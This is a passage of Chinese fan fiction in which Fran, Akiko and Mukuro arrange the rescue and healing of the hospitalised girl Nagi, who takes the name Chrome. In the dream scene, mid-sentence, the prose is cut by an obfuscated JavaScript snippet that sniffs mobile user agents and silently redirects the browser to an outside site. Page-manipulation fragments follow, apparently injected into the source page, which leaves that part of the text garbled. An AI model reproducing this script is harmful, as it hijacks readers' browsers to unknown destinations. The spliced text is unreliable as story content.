三花猫则伸出带着倒刺的舌头,慢条斯理地梳理着前爪上橘黑相间的毛发,姿态优雅得如同一位贵族。虽然它的品种和性别确实在猫界算得上贵族。 就在弗兰的“冰淇淋星球”即将宣告坍塌时,晶子的声音毫无预兆地响起,打破了这片黏着的寂静。 “喂,弗兰。”她没回头,依旧看着窗外刺眼的光斑,声音很轻,却像颗小石子投入平静的水面。 “嗯?”弗兰正试图用勺子挽救最后一点冰淇淋“陆地”,漫不经心地应了一声。 “下个星期,”晶子停顿了一下,似乎在组织语言,又像是下定了某种决心,“我做完这周,就不在这里了。” 弗兰戳冰淇淋的动作停住了。他抬起头,看向柜台后少女纤细却挺直的背影。 “你终于发现店里的工资太低于是准备离职了?那你发现的还蛮早的。” 晶子转过身,看着弗兰那双没什么情绪波动的绿色眼睛,清晰地说道:“我向陆军医院提交了申请。他们…接受了。做完这边的事情,我就去那边。” 空气仿佛凝固了一瞬。明明不在海边,他却仿佛又听到海浪拍打礁石的声音,尖锐得刺耳。 弗兰沉默地看着晶子。 几秒钟后,他低下头,继续用木勺戳着那摊彻底化作奶白色泥泞的冰淇淋。塑料小勺戳在纸杯底部,发出单调而沉闷的“笃笃”声。 三花猫也停止了舔毛,金色双瞳在弗兰和晶子之间缓缓转动,带着洞悉一切的幽深。 “哦。”弗兰终于应了一声,语气平淡得像在说“今天冰淇淋化了”。 他拿起旁边的吸管,慢吞吞地插进融化的冰淇淋里,吸了一大口,然后才抬起眼皮,看向晶子紧绷的脸。 “所以,你要去那边救人了?”他歪了歪头,青绿的头发滑到一边,“可是我记得,现在局势很紧张,战争马上就要爆发了吧,你这个时候去真的好吗?” “你真的做好了上战场的准备了吗?” 晶子的呼吸猛地一窒,她盯着弗兰,胸口剧烈起伏了一下,像是被这句话狠狠刺中了。 然而,预想中的怒火或者训斥并没有爆发。她只是死死地盯着弗兰看了几秒,眼神复杂得如同打翻的颜料盘,愤怒、委屈、倔强、还有一丝不易察觉的茫然混杂在一起。 最终,她猛地转过身,肩膀绷得像块石头,用力地擦拭着刚刚已经擦的噌亮的玻璃杯,发出刺耳的摩擦声。 “随你怎么说!”她的声音从牙缝里挤出来,带着强抑的颤抖,“反正……反正我决定了!我也会努力改变的!” 弗兰吸光了最后一点融化的冰淇淋,发出响亮的“滋溜”声。 他放下空杯,目光转向安静蹲坐在一旁的三花猫。猫咪金色的瞳孔在午后的斜阳里闪着微光,安静地回望着他。 “老师,”弗兰伸出沾着冰淇淋渍的手指,轻轻碰了碰三花猫冰凉的鼻尖,语气依旧平板无波,却仿佛在对它解释,“老师比某个姐姐聪明多了。” 他收回手指,在桌布上蹭了蹭。“至少,不会强迫自己成长。” 这话没头没尾,像是对空气的抱怨,又像是对某个存在的嘲讽。 三花猫的尾巴优雅地卷过来,尾尖极其轻柔地、带着点安抚意味地扫过弗兰的手腕。 …… 粘稠的白日沉入黑暗的深渊。 城市的喧嚣被厚厚的夜幕过滤,只剩下窗外不知疲倦的风声,编织着一张单调而庞大的声网。 弗兰小小的身体陷在柔软的床铺里,呼吸均匀,嫩绿色的头发在枕头上散开,像一捧奇异的水草。 毫无征兆地,熟悉的、令人骨髓发冷的靛青色雾气弥漫开来。冰冷、潮湿、带着铁锈和深海淤泥的气味,瞬间侵蚀了温馨的卧室景象。 一个身影在这片非现实的、流动的靛青色星云背景中逐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644044|172737||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渐凝聚成型。 “Kufufufu……”低沉沙哑的笑声在弗兰的意识深处荡开,带着金属摩擦的冰冷质感,直接敲打着他的神经,“我愚蠢的小徒弟,看来你最近……玩得很开心?” 弗兰身上还穿着印有卡通青蛙图案的睡衣,与周围诡谲恐怖的幻境格格不入。他脸上没有任何面对可怖景象时应有的惊慌,依旧是那副万年不变的、仿佛刚睡醒的困倦表情。 “嗯,”弗兰含糊地应了一声,指尖的雾气小猫正尝试用幻术变出的“爪子”去够一团飘过的星尘,“反正比在师父身边训练要开心。” “哦呀,看来你交到了不错的朋友。”面前靛色头发的少年笑吟吟的望着他,“不过今天我来不是为了训练,而是有别的事。” 四周粘稠的靛青色雾气骤然沸腾、凝聚!无数条闪烁着寒光、由纯粹恶意和精神力构成的毒蛇凭空出现,嘶嘶吐着猩红的信子,如同离弦的箭矢,从四面八方朝着弗兰噬咬而去! 弗兰条件反射就要抱住自己的苹果帽,结果手一挥抓了个空才想起来刚刚睡觉的时候将帽子摘下了。 就在那些毒蛇即将触及他睡衣的刹那,那些狰狞的毒蛇如同撞上了一堵无形的、滑腻的墙壁,瞬间扭曲、变形、溃散,还原成最原始的靛青色雾气,无声无息地融入了周围的环境,仿佛从未存在过。 “嘴上说着不训练,转头居然偷袭,师父你不讲武德!” “说什么呢臭小鬼,这是在锻炼你的警惕心。”他随手幻化出自己的三叉戟一把穿透了弗兰刚刚做出来的帽子。 “这次来是有个事情要你去做。” “诶?!有什么事情居然让师父拜托me去做的,快让me看看今天的太阳是从哪边出来的。” “哼……”一声冰冷的鼻音,带着被彻底无视的愠怒。异瞳的少年手一挥将两人身边的狼藉都清了个干净,四周场景如褪色一般变成了一片白。 “我记得你在横滨对吧,你现在去那边的陆军医院找一个叫‘凪’的女孩。”六道骸眯着眼看着眼前小孩柔顺的发型,不知道在想什么,但是弗兰莫名的感觉背后一凉。 “那孩子是少有的除了你之外,能连接到我精神世界的人。她现在状况不是很好,你要想办法把她带到并盛町来。” “师父你真的很会给人出难题诶——”弗兰终于舍得将目光从手里的雾气小猫移开,“不过…并盛町?师傅终于决定去那里开水果店了吗?而且你之前不是说要我在家乡等你来找me的吗。” “Kufufufu……”六道骸发出意义不明的笑声,血红的右眼中数字“六”疯狂闪烁,“嗯?你终于自己幻想出不存在的记忆了吗,我什么时候说过这种话。而且那里…有颗值得打磨的‘钻石’。我需要你去‘帮忙’。” 他刻意加重了“帮忙”两个字,其中的意味不言而喻。 “帮忙?”他重复着这个词,语气平板得像在念说明书,“确定不是帮倒忙?” 他的指尖触碰到了幻化出的小凤梨。 噗。一声极其轻微的,如同气泡破裂的声响。 “听起来……”弗兰收回手指,吹了吹并不存在的灰尘,声音里带着一丝毫不掩饰的敷衍,“比我家大人们的事情还要麻烦啊。” 他抬起眼皮,对上六道骸那双翻涌着不明情绪的异色瞳,慢悠悠地补充道,“而且,师傅你的凤梨头……”他停顿了一下,似乎在寻找一个最贴切的形容词,“……很中二,正常人都不会留这种发型的吧。你真的不考虑换个发型吗。” 说完,他甚至还打了个小小的哈欠,眼角挤出了一点生理性的泪花。 幻境剧烈地波动了一下,靛青色的雾气如同被投入巨石的湖面般疯狂扭曲。弗兰小小的身影像信号不良的电视画面,开始闪烁、淡化。 “啊,”弗兰低头看了看自己变得有些透明的双手,语气毫无诚意,“我的监护人好像要查房了。师父再见。” 他甚至还象征性地挥了挥正在消失的手,“下次带凤梨罐头来看你。” 7.航海之路(七) “咔嚓” 房门被轻轻推开了,弗兰睁大眼睛和门口的大人对上了视线。 “怎么还没睡?要我告诉你现在几点了吗?”魏尔伦半倚着门压低了声音,但也只是自欺欺人,想必隔壁房间的兰波也已经醒了。 “me刚刚做噩梦吓醒了而已,话说你半夜来me房间做什么,没想到你也是那种不看一眼孩子就会焦虑的大人吗。” 对方眯起眼环视了一圈,淡声道:“没什么,只是刚刚好像感觉到奇怪的气息……大概是我的错觉吧。” 房门再次关上,世界彻底陷入了安静之中。 …… 天刚蒙蒙亮,灰白的光线勉强勾勒出街道的轮廓。 弗兰小小的身影跑得跌跌撞撞,衣服裤子沾满了晨露和路边的尘土。他气喘吁吁地拍着那扇熟悉的门。 门开了,与谢野晶子顶着一头睡得乱糟糟的短发,睡眼惺忪,手里还下意识地攥着一本厚厚的、硬壳精装的解剖图谱,封面上复杂的人体血管网清晰得有些刺眼。 “弗兰?”晶子揉着眼睛,声音带着浓浓的鼻音,“这才几点?你终于被家里人赶出来了啊?”她打了个哈欠,宽松的睡衣袖子滑落,露出一截胳膊。 弗兰喘着粗气,紧紧抓住晶子睡衣的下摆,仰着脸,那双平日里缺乏情绪起伏的青色眼睛里,此刻清晰地映着一种孩童特有的、纯粹的恐慌,“晶子姐姐,帮帮我……只有你能救人了!” 本来弗兰打算美美一觉睡到自然醒再去处理师父交给他的事情,但是他一闭上眼意识世界就开始雾气弥漫,随后他看到了一个十分痛苦的小女孩。 他后知后觉才想起来,可能由于战况紧张,现在的陆军医院主要接收的都是那种重症患者,普通病人都送到旁边普通医院治疗了。 那位叫‘凪’的女生万一没能熬过去怎么办。虽然师父没有说带过去的是要活的还是死的……这怎么想都不太对劲吧! 为此他特意早早起床,路过餐厅时还被已经坐在那喝着红茶看报纸的兰波打量了很久,看得他直冒冷汗。 晶子的睡意瞬间跑得无影无踪。 她认识弗兰的时间不短,这个总是没什么表情、说话也怪里怪气的小鬼,此刻流露出的不安异常真实。 她放下那本厚重的图谱,发出沉闷的“咚”一声,果断地点头:“等着!”随后转身冲回屋里,一阵翻箱倒柜的响动后,再出来时已经套上了外出的小外套,腰间斜挎着一个小医疗包。 她反手锁上门,一把拉住弗兰冰凉的小手:“走!带路!” 医院那特有的消毒水混合着某种挥之不去的、若有若无的药物苦涩的气味,随着他们踏入大门而扑面涌来。 走廊漫长、冰冷,惨白的灯光照在同样冷白的墙壁上。医护人员并不多,大多都是情绪崩溃或是安静坐着的病患家属,这里像是个巨大的感情漩涡将所有的情绪包含在里面。 弗兰凭着梦里模糊的指引和一种奇异的直觉,拉着晶子,脚步在光滑的地板上敲出细碎的回音,最终停在某间病房门口。 走廊的尽头,压抑的哭泣和激烈的抱怨正从里面泄出来,像冰冷的针,扎进两个孩子的耳朵。 “为什么偏偏是现在!”女人焦躁的声音拔得很高,带着一种被精心修饰过、此刻却完全失控的尖利,“下个月就是我的新剧发布会!档期全都排满了!你知道要协调这些有多难吗?” 她穿着剪裁考究的米白色套装,妆容依旧一丝不苟,只是精心描绘的眉眼间只剩下赤裸裸的怨怼和愤怒。她烦躁地用手指卷着自己染成栗色的卷发,昂贵的香水味也压不住她身上散发出的焦虑。 靠在墙边的查房护士脸色疲惫,嘴唇抿成一条紧绷的直线,显然已经听够了这些抱怨。 她瞥了一眼远处重症病房的门,压低声音,带着职业性的克制:“森山太太,请您理解,凪小姐的情况非常严重。她需要绝对的静养和……” “静养?静养!”被称作森山太太的女人像是被踩了尾巴,猛地转过身,涂着鲜红蔻丹的手指几乎要戳到护士脸上,“那谁来理解我?我的损失谁来补偿?你知道她这次手术花了多少钱吗?后续还要多少?简直是个无底洞!” 她胸口剧烈起伏着,保养得宜的脸上因为激动而扭曲,“那个蠢货!就为了一只野猫!一只脏兮兮的野猫!她脑子是不是有问题?现在好了,眼睛瞎了一只……她以后怎么办?难道要我养这个废物一辈子吗?”她越说越气,声音不受控制地拔高,尖锐得如同玻璃刮擦,“早知道这样,当初就不该……” 短暂的沉默,另一个低沉得多的男声响起,带着显而易见的烦躁和不耐:“行了,别在医院吵吵嚷嚷的,像什么样子!医生说她的情况暂时稳定了。公司那边并购案正到关键时候,一堆文件等着我签字,下午还要去大阪谈条件……我待会儿还有个会,先走了,剩下的你看着办吧。” 脚步声随即响起,快速远去,带着一种甩脱包袱般的迫不及待。 透过门缝,弗兰和晶子看到病房内的情况。一个瘦弱得几乎陷进白色被褥里的女孩,脸上罩着透明的氧气面罩,半张脸都被遮住了,只露出紧闭的眼睛和散落在枕头上、毫无光泽的紫色短发。 她的胸口随着呼吸面罩的节奏微弱起伏,身上连接着好几条管子,床边的心电监护仪发出规律而冰冷的“嘀、嘀”声,屏幕上跳跃的绿色线条勾勒着脆弱的生命迹象。 女孩露在被子外的手瘦得皮包骨头,手背上插着留置针,青色的血管清晰可见。 晶子的手在身侧猛地攥紧成拳,指关节捏得发白,那双总是带着点锐利和审视的眼睛里,此刻燃起了熊熊怒火,几乎要喷涌出来。 她死死盯着男人离去的走廊方向,牙齿咬得咯咯作响。弗兰则一眨不眨地看着病床上那个小小的身影,梦里的雾气似乎在这个瞬间找到了现实的锚点——就是她。 一个护士抱着装药品的盒子经过,看到两个明显不是家属的孩子站在门口,叹了口气,低声快速说道:“306号房,凪。你们是她的朋友来看她的吗?可怜的孩子……听说是为了救一只冲到马路中间的猫,自己被来不及刹车的货车卷了进去。” 护士的声音压得更低,带着浓重的同情,“右眼球当场就…摘除了。更麻烦的是内脏……她一直高烧不退,能撑到现在,真是奇迹了。”她摇摇头,抱着盒子匆匆走了。 晶子胸口的起伏更加剧烈,怒火在她胸腔里冲撞。她猛地扭过头,不再看病房里面,一旁的弗兰也微微侧过头。 还好,只要还活着,晶子都能救的。 走廊的脚步声终于彻底消失,只剩下医院特有的空洞寂静。 晶子深吸一口气,仿佛要将满腔的怒火暂时压下,她猛地推开病房门,动作带着一种不容置疑的决绝。弗兰跟在她身后,像一个小小的尾巴。 病房里异常安静,只有仪器单调的“嘀嘀”声在回响。 她几步就跨到了病床边,动作麻利地放下肩上那个小巧的急救包,金属搭扣碰撞发出清脆的声响,眼神重新变得锐利而专注。 随后摊开小小的手掌,悬停在凪身体上方,目光紧紧锁定那些代表生命流逝的冰冷曲线。 一种无形的、强大的力量开始在她掌心凝聚,空气仿佛都随之微微震颤。她稚嫩的脸庞上浮现出与年龄极不相符的肃穆和专注。 「请君勿死」 随着她清冽而坚定的低喝,一团温暖得近乎神圣的绿色光芒骤然从她掌心爆发出来,瞬间驱散了病房的阴冷与死寂。 光芒温柔地笼罩住凪小小的身体,渗透进每一寸肌肤,每一根骨骼。 光芒中,细微而奇异的景象发生了:凪凹陷的腹部肉眼可见地开始起伏、扩张,像干瘪的皮囊被重新注入了生机;被摘除的右眼窝深处,血肉和神经如同被无形的巧手飞速编织,眼球的轮廓在光芒中由模糊到清晰;皮肤下传来轻微的、令人牙酸的骨骼摩擦复位声;仪器屏幕上那条几乎拉成直线的微弱生命曲线,如同被一只无形的手猛地向上拽起,开始剧烈地波动、攀升,心率、血压、血氧饱和度的数值疯狂跳动,从危险的红色区域一路飙升,最终稳定在健康的绿色区间。 与此同时,病床上那个一直紧闭着眼睛、戴着氧气面罩的女孩,睫毛剧烈地颤动了几下,然后,缓缓地睁开了。 露出的那只眼睛,是深邃的紫色,瞳孔里没有焦距,空茫地望着惨白的天花板。但紧接着,那只眼睛极其缓慢地、极其困难地转动了一下,视线最终落在了晶子和弗兰身上。 “……我都…听到了。” 凪的声音透过面罩传出来,微弱、沙哑,却带着一种令人心悸的平静,像深秋最后一片落叶坠地的声音,“爸爸和妈妈的话……都听到了。” 那只紫色的左眼,空洞地望着他们,里面没有泪水,只有一片被彻底冰封后的死寂荒原。仿佛所有属于孩子的光亮和希望,都在那场车祸和门外的咒骂声中,被碾得粉碎,又被这刺鼻的消毒水彻底漂白了。 “听到了正好!”晶子突然开口,声音斩钉截铁,带着一种近乎粗暴的果断,瞬间撕裂了病房里凝滞的死寂,“收起这副要哭不哭的蠢样子,再仔细感受一下,你 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“师父也不希望你一直这样颓废下去的吧。对了,也是师父叫me来帮忙的,你们应该在梦里见过了吧。” 凪的目光从苹果移到弗兰那张没什么表情的小脸上,又缓缓移向晶子那张虽然疲惫却写满“少废话”的脸。 沉默许久,她终于开口了,似乎低声念叨了一个名字,却没发出任何声音。 「骸大人」 弗兰脑海里突然响起清晰的声音。 随后她像是一下子想通了什么,声音不再像之前那样气若游丝,变得清晰了许多,却带着一种奇异的坚定。那只新生的右眼,瞳孔深处似乎沉淀下某种决绝的东西。 “凪……”她低声念出这个名字,舌尖尝到的却只有消毒水的苦涩和父母言语残留的冰冷毒液。她摇了摇头,紫色长发在脸颊边晃动。“这个名字已经不重要了。” “从今天起,我叫——”她顿了顿,一字一句,仿佛在宣告旧我的死亡与新生的契约,“库洛姆·髑髅。” …… “这个名字……有点中二了吧,真不愧是师父看中的人,完全一模一样嘛!”弗兰左手捶右手,转身露出豆豆眼,“晶子姐姐,你确定这个没有后遗症吗,比如审美上——” “闭嘴!”晶子一锤上他的苹果头套,额头蹦出青筋。 库洛姆——现在她是库洛姆了——几乎没有犹豫。她掀开被子,动作间带着一种新生命赋予的、还有些陌生的轻快感。身上那些碍事的管线被她毫不犹豫地扯掉。 她赤着脚踩在冰凉的地板上,瘦小的身体裹在宽大的病号服里,却站得笔直。她最后看了一眼这张困住她、也让她听见了世界全部冰冷的病床,然后,那只新生的右眼转向弗兰和晶子,无声地表达了跟随。 夕阳熔金,将三个孩子并肩而行的影子在身后拉得细长,如同三条执拗延伸向未知的墨线。 弗兰的家终于出现在视野尽头。门廊下空荡荡的,安静得反常。弗兰踮起脚,小手费力地够到门框上方他够得着的最高处摸索——备用钥匙冰冷的触感还在,位置还是原封不动的。 没人回来过。 门被推开,发出轻微的吱呀声。 客厅里一切如常,甚至餐桌上还放着弗兰昨天训练完没收起来的子弹。空气里弥漫着一种久未通风的、沉闷的气息。 没有熟悉的饭菜香,没有电视机的喧闹,没有大人走动的声音。只有一片令人心慌的空寂。 弗兰站在玄关,祖母绿的眼睛扫过空无一人的客厅,又看了看身后跟着的两个女孩。 晶子皱着眉,脸上是毫不掩饰的烦躁和疑惑:“搞什么鬼?你家监护人呢?” 库洛姆安静地站在弗兰身后一步远的地方,那只以前还完好的紫色左眼警惕地打量着这个陌生的空间,右眼则是找了个绷带缠住了,像一只刚被捡回、对一切充满戒备的流浪小猫。 “大概是有事还没回来吧……晚上应该会回的。” 弗兰淡淡的回答了,踮起脚打开了冰箱门,从里面拿出一盒寿司。 “你们饿了的话可以吃这个,家里暂时只有寿司和速冻饺子了,如果想吃别的也请随意。” 寿司的保质期很短,想必也是家里两个成年人知道晚上回不来了才替他准备好的。 他慢慢的从胸口的衣服领里翻出一个项链,将青色的宝石抬至眼前。透过宝石他能看到对方的大致方向。 可是。 弗兰寻着方向望了过去。 这个位置好像快靠近海边了……那两个家伙在搞什么?